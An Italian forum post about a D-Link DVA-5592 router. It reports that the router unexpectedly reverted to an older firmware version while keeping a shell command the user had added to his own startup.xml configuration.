Update3: forse ho capito l'arcano... quando la prima volta sono passato in factory-mode mi ero dimenticato di togliere il cavo vdsl e tornando in modo normale con "restore defaultSettings" mi ha rifilato l'ultimo firmware... non avendo voglia di fare il downgrade ho pensato di tenerlo d'occhio ma per il momento di rimanere così. E però ho scoperto adesso per caso che è tornato magicamente al firmware DVA-5592_A1_WI_20170908. Pare che ne abbia una copia di emergenza a bordo e con qualche manovra inconsulta abbia scatenato il panic-mode. Solo non mi spiego come mai startup.xml avesse ancora il comando shell da me aggiunto...

Ultima modifica di pimander : 10-08-2018 alle 14:23.
pimander è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Apple MacBook Air M3: chi deve davvero comprarlo? La recensione Apple MacBook Air M3: chi deve davvero comprarlo...
ASUS ROG Swift OLED PG49WCD: quando QD-OLED e ultrawide si fondono ASUS ROG Swift OLED PG49WCD: quando QD-OLED e ul...
Dreame L10s Pro Ultra Heat: la pulizia di casa tutta sostanza Dreame L10s Pro Ultra Heat: la pulizia di casa t...
HONOR Magic6 Pro: come funziona Magic Portal, il modo ''intelligente'' di condividere HONOR Magic6 Pro: come funziona Magic Portal, il...
L'innovazione richiede fiducia: Workday si propone come guida nell'era dell'IA L'innovazione richiede fiducia: Workday si propo...
Scende di prezzo il drone DJI Air 2S Fly...
XPeng sbarca nel mercato tedesco con P7 ...
Sorpresa per gli utenti Apple: iPhone 12...
SU7, la super auto elettrica di Xiaomi p...
Il Mac Mini 2023 con chip M2 8/256 GB è ...
Questo Mini PC ha un super prezzo: diffi...
Il doppio gioco di Twitter: battaglie le...
Top 7 Amazon per risparmiare tantissimo:...
Apple premia 350 studenti ''maghi'' prog...
Apple Store: con questa macchina si poss...
iPad Pro 2024 arriveranno a maggio. Paro...
JBL Soundgear Sense: contatto costante c...
Prezzo bomba: il super tablet 10.1"...
Google torna sui suoi passi: Pixel 8 ric...
TOP! Display gaming 27" 2560x1440 p...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 11:09.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Served by www2v